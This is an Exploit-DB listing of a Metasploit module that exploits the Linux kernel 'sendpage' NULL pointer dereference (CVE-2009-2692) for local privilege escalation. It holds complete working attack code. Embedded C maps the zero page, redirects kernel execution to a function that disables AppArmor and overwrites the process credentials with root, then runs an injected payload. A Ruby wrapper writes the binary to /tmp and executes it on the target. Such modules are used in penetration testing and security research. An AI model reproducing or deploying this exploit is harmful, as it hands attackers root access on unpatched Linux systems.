Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2012-07-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19933/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'rex'
    require 'msf/core/post/common'
    require 'msf/core/post/file'
    require 'msf/core/post/linux/priv'
    require 'msf/core/exploit/local/linux_kernel'
    require 'msf/core/exploit/local/linux'
    require 'msf/core/exploit/local/unix'
    
    #load 'lib/msf/core/post/file.rb'
    #load 'lib/msf/core/exploit/local/unix.rb'
    #load 'lib/msf/core/exploit/local/linux.rb'
    #load 'lib/msf/core/exploit/local/linux_kernel.rb'
    
    class Metasploit4 < Msf::Exploit::Local
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::EXE
    	include Msf::Post::File
    	include Msf::Post::Common
    
    	include Msf::Exploit::Local::LinuxKernel
    	include Msf::Exploit::Local::Linux
    	include Msf::Exploit::Local::Unix
    
    	def initialize(info={})
    		super( update_info( info, {
    				'Name'=> 'Linux Kernel Sendpage Local Privilege Escalation',
    				'Description' => %q{
    					AKA Wunderbar Emporium
    				},
    				'License' => MSF_LICENSE,
    				'Author'=>
    					[
    						'spender',# wunderbar_emporium.tgz
    						'rcvalle',# sock_sendpage.c
    						'egypt' # metasploit module
    					],
    				'Platform'=> [ 'linux' ],
    				'Arch'=> [ ARCH_X86 ],
    				'SessionTypes'=> [ 'shell', 'meterpreter' ],
    				'References'=>
    					[
    						[ 'CVE', '2009-2692' ],
    						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
    						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
    					],
    				'Targets' =>
    					[
    						[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
    						#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
    					],
    				'DefaultTarget' => 0,
    			}
    			))
    	end
    
    	def exploit
    		sc = Metasm::ELF.new(@cpu)
    		sc.parse %Q|
    			#define DEBUGGING
    			#define NULL ((void*)0)
    			#ifdef __ELF__
    				.section ".bss" rwx
    				.section ".text" rwx
    				.entrypoint
    			#endif
    			call main
    			;push eax
    			call exit
    		|
    
    		# Set up the same include order as the bionic build system.
    		# See external/source/meterpreter/source/bionic/libc/Jamfile
    		cparser.lexer.include_search_path = [
    			"external/source/meterpreter/source/bionic/libc/include/",
    			"external/source/meterpreter/source/bionic/libc/private/",
    			"external/source/meterpreter/source/bionic/libc/bionic/",
    			"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
    			"external/source/meterpreter/source/bionic/libc/kernel/common/",
    			"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
    		]
    
    		cparser.parse(%Q|
    			#define DEBUGGING
    			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
    			#ifndef __extension__
    			#define __extension__
    			#endif
    			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
    			// Doing #if on an undefined macro is fine in GCC, but a parse error in
    			// metasm.
    			#ifndef __STDC__
    			#define __STDC__ 0
    			#endif
    			#include <sys/types.h>
    			#include <sys/mman.h>
    			#include <stdarg.h>
    			#include <stdio.h>
    			#include <unistd.h>
    			#include <errno.h>
    			/*
    			OpenBSD's strcmp from string/strcmp.c in bionic
    			*/
    			int
    			strcmp(const char *s1, const char *s2)
    			{
    				while (*s1 == *s2++)
    					if (*s1++ == 0)
    						return (0);
    				return (*(unsigned char *)s1 - *(unsigned char *)--s2);
    			}
    		|)
    
    		[
    			"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
    			"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
    			"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
    			"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
    			# This parses without any trouble, but actually calling perror() causes
    			# immediate segfaults.
    			#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
    
    			# For some ungodly reason, NULL ends up being undefined when parsing this
    			# guy, which of course causes parse errors.
    			#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
    
    		].each do |fname|
    			print_status("Parsing c file #{fname}")
    			cparser.parse(File.read(fname), fname)
    		end
    
    		print_status("Unix socket.h")
    		unix_socket_h(sc)
    		current_task_struct_h(sc)
    
    		case target.arch.first
    		when ARCH_X86
    		print_status("syscall wrappers")
    			linux_x86_syscall_wrappers(sc)
    			main = %q^
    #ifdef __x86_64__
    #define PTR_FMT "0x%016x"
    #else
    #define PTR_FMT "0x%08x"
    #endif
    
    #define NULL ((void*)0)
    #define DOMAINS_STOP -1
    const int domains[] = {
    	PF_BLUETOOTH,
    	PF_APPLETALK,
    	PF_IPX,
    	PF_IRDA,
    	PF_X25,
    	PF_AX25,
    	PF_BLUETOOTH,
    	PF_PPPOX,
    	DOMAINS_STOP
    	};
    
    int *apparmor_enabled;
    
    int got_ring0 = 0;
    unsigned long uid, gid;
    
    static unsigned long get_kernel_sym(char *name)
    {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char sname[256];
    	int ret;
    
    	f = fopen("/proc/kallsyms", "r");
    	if (f == NULL) {
    		f = fopen("/proc/ksyms", "r");
    		if (f == NULL) {
    			printf("Unable to obtain symbol listing!\n");
    			return 0;
    		}
    	}
    
    	ret = 0;
    	while(ret != EOF) {
    		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    		if (!strcmp(name, sname)) {
    			printf(" [+] Resolved %s to %p\n", name, (void *)addr);
    			fclose(f);
    			return addr;
    		}
    	}
    
    	fclose(f);
    	return 0;
    }
    
    
    static void
    change_cred(void)
    {
    	unsigned int *task_struct;
    
    	task_struct = (unsigned int *)current_task_struct();
    
    	while (task_struct) {
    		if (task_struct[0] == uid && task_struct[1] == uid &&
    				task_struct[2] == uid && task_struct[3] == uid &&
    				task_struct[4] == gid && task_struct[5] == gid &&
    				task_struct[6] == gid && task_struct[7] == gid) {
    			task_struct[0] = task_struct[1] =
    			task_struct[2] = task_struct[3] =
    			task_struct[4] = task_struct[5] =
    			task_struct[6] = task_struct[7] = 0;
    			break;
    		}
    
    		task_struct++;
    	}
    
    	return;
    }
    
    int __attribute__((regparm(3)))
    own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
    {
    
    	got_ring0 = 1;
    	if (apparmor_enabled && *apparmor_enabled) {
    		*apparmor_enabled = 0;
    	}
    	change_cred();
    	return -1;
    }
    
    const char *shellcode =
    "";
    int shellcode_size = 0;
    
    int main() {
    	int i = 0;
    	int d;
    	int in_fd, out_fd;
    	char *mapped;
    	char template[] = "/tmp/sendfile.XXXXXX";
    	int (*func)();
    
    	uid = getuid(), gid = getgid();
    
    	mapped = mmap(NULL , 0x1000,
    			PROT_READ | PROT_WRITE | PROT_EXEC,
    			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
    			0, 0
    		);
    	if (mapped == NULL) {
    		printf("Mapped zero page!\n");
    	} else {
    		exit(1);
    	}
    
    	// jmp dword near [dword 0x8]
    	mapped[0] = '\xff';
    	mapped[1] = '\x25';
    	*(unsigned long *)&mapped[2] = 8;
    	*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
    
    	for (i = 0; i < 16; i++) {
    		printf("\\\\x%02x", (unsigned char)mapped[i]);
    	}
    	printf("\n");
    
    	for (d = 0; domains[d] != DOMAINS_STOP; d++) {
    		//printf("Next domain ... ");
    		out_fd = socket(domains[d], SOCK_DGRAM, 0);
    		if (out_fd > 0) {
    			printf("Got domain[%d]\n", d);
    			break;
    		}
    		if (out_fd < 0) {
    			printf("out_fd: %d, Errno: %d\n", out_fd, errno);
    			exit(1);
    		}
    	}
    	unlink(template);
    	// Couldn't get mkstemp to work, just use open(2) for now
    	in_fd = open(template, O_CREAT | O_RDWR, 0777);
    	printf("Opened temp file: %d\n", in_fd);
    	unlink(template);
    	printf("Calling ftruncate\n");
    	ftruncate(in_fd, 4096);
    
    	printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
    	printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
    	sendfile(out_fd, in_fd, NULL, 4096);
    	printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
    	printf("UID: %d GID: %d\n", getuid(), getgid());
    
    	func = mmap(NULL, 0x1000,
    			PROT_READ | PROT_WRITE | PROT_EXEC,
    			MAP_PRIVATE | MAP_ANONYMOUS,
    			0, 0
    		);
    	mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
    	// weaksauce memcpy so we don't have to #include <string.h>
    	printf("Copying %d bytes of shellcode\n", shellcode_size);
    	for (i = 0; i < shellcode_size; i++) {
    		(char)func[i] = (char)shellcode[i];
    	}
    	printf("Calling shellcode: 0x%p\n", func);
    	//sigtrap();
    	func();
    
    	return got_ring0;
    }
    ^
    			main.gsub!(/shellcode =/) do
    				# split the payload into 16-byte chunks and dump it out as a
    				# hex-escaped C string
    				%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
    			end
    			main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
    			cparser.parse(main, "main.c")
    
    			asm = cpu.new_ccompiler(cparser, sc).compile
    
    			sc.parse asm
    		end
    
    		sc.assemble
    
    		begin
    			if sc.kind_of? Metasm::ELF
    				elf = sc.encode_string
    			else
    				foo = sc.encode_string
    				elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
    			end
    		rescue
    			print_error "Metasm Encoding failed: #{$!}"
    			elog "Metasm Encoding failed: #{$!.class} : #{$!}"
    			elog "Call stack:\n#{$!.backtrace.join("\n")}"
    			return
    		end
    
    		#puts Rex::Text.to_hex_dump(foo)
    		File.open("payload.bin", "wb") {|fd|
    			fd.write elf
    		}
    		print_status "Writing exploit executable (#{elf.length} bytes)"
    		cmd_exec("rm /tmp/sendpage")
    		write_file("/tmp/sendpage", elf)
    		output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
    		output.each_line { |line| print_debug line.chomp }
    		#cmd_exec("rm /tmp/sendpage")
    
    	end
    
    end